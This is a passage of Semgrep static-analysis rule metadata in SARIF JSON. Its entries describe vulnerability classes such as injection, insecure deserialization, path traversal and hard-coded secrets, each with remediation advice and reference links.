or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi","id":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","name":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.pymongo-fastapi.pymongo-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","id":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","name":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run","id":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","name":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-code-run.dangerous-interactive-code-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"help":{"markdown":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx)\n - [https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities](https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities)\n - [https://x.com/shoucccc/status/1757777764646859121](https://x.com/shoucccc/status/1757777764646859121)\n","text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"helpUri":"https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","id":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","name":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","OWASP-A7:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","id":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","name":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"help":{"markdown":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules)\n - [https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects](https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects)\n","text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"helpUri":"https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","id":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","name":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","properties":{"precision":"very-high","tags":["MEDIUM CONFIDENCE"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call","id":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","name":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"help":{"markdown":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html)\n","text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","id":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","name":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version)\n","text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","id":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","name":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password","id":"rust.secrets.postgres.empty-password.empty-password","name":"rust.secrets.postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint","id":"rust.actix.sql.sqlx-taint.sqlx-taint","name":"rust.actix.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse)\n - [https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render](https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render)\n - [https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render)\n","text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","id":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","name":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources](https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation","id":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","name":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.path-manipulation.path-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"help":{"markdown":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","id":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","name":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","id":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","name":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","id":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","name":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-environ-variable-django.tainted-environ-variable-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","id":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","name":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"help":{"markdown":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager)\n - [https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https](https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https)\n","text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","id":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","name":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or 